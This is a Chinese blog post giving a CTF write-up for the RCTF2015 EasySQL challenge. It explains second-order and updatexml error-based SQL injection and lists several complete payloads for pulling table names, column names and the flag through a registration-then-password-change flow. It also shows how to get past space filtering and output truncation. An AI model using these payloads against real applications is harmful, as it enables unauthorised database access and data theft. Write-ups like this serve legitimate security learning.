[RCTF2015]EasySQL 报错注入与二次注入

[RCTF2015]EasySQL 报错注入与二次注入

二次注入,可以概括为以下两步:
第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

updatexml(fileName, XPATH, ChangedStr)

更新某个xml文件中的特定信息。
第一个参数是希望更新的xml文件的名称;
第二个参数XPATH是一种在xml文件中指定元素或信息的语句,即xml文件中的定位器,有点类似指针;
第三个参数是希望更改成的信息,如将原来的信息改成3,这个3就是这个ChangedStr。

报错注入

通过让数据库报错会拿出相关信息的性质,想办法让数据库报错,然后达到命令执行的目的

updatexml(1,concat(0x3a,(你希望执行的语句)),1))#

concat函数是说连接字符串,这里将0x3a连在了XPATH位置的参数的最前面,会不符合XPATH的规范,遂报错,说“0x3a(你希望执行的语句)”不符合规定,这也就爆出了你想要得到的信息。

二次注入

在某个输入位置,将不安全的字符串成功按原样插入到了数据库中,后认为数据库中的数据都是安全的,然后在另一处随意的引用了该不安全的语句,造成了注入,即“二次注入”

[RCTF2015]EasySQL

tips: 密码和邮箱大部分时候都可以留空

一次注入点在注册的位置,将不安全语句存入到用户名位置,随后在更改密码处,会调用用户名来确认改密码的位置,以造成二次注入。
image
这里我先注册一个带引号的用户,展示一下效果。
image
可以看到,这个网站将完整的带引号的名字都存进了数据库,且并没有进行过滤等操作。
image
直接点提交,可以发现数据库报错了,还发现数据库将密码哈希了以后存储的,不过这和本题无关。
这个位置还是过滤了一些参数的
image
这里包长为496的都是过滤掉的
开始注入,构造语句
空格过滤掉了,使用括号来完成。

haha"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#

这里使用payload为用户名注册,可以看到这么长的用户名也能注册成功,挺离谱的。
image
事实告诉我们,限制用户名长度还是挺有用的哈哈。
进入修改密码处
image
成功爆出表名。
经过实验,最终的结果在users表中,查看users表列

haha"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'&&(column_name)regexp('^r')))),1))#

image
这里语句有一些不一样,where后面多了一个限定词

(column_name)regexp('^r')

这句的意思是,只要column_name列中符合后面正则表达式的内容的部分(regexp函数是正则表达式函数)。
正则表达式的内容 ^r 的意思是,只匹配开头是r的字符串,比如这里有三个串

asdff
asd ff
fasd

正则表达式只会匹配第三个串,因为只有它是f字母开头的,第二个串虽然带有空格后的ff,但空格本身是包含在字符串内的,故后面的ff仍算在一整个字符串内,不是开头,故不被匹配。
回到题目,这里我们不加正则表达式限定,会看到几个表,其中有一个表叫real_flag啥的,因为长度限制,后面没有爆出来,只爆出了一部分,故我们需要限定,只看这个real啥的列的列名
查看flag

haha"||(updatexml(1,(concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

同理,他在这个表里面塞了一堆xxx字符串,看表的时候没办法看到flag相关的内容,故我们用正则,匹配f开头的字符串。
然后flag出来又不会出全,还需要使用reverse函数,逆序输出flag

haha"||(updatexml(1,reverse(concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

随后会出现倒着的flag,然后拼起来即得答案。
这个地方我想把reverse写在select的前面,但不知道为什么没办法执行,有知道的大佬求教下。ψ(`∇´)ψ
想写成这样

haha"||(updatexml(1,(concat(0x3a,reverse(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#
posted @ 2022-01-06 21:07  AikNr  阅读(275)  评论(1编辑  收藏  举报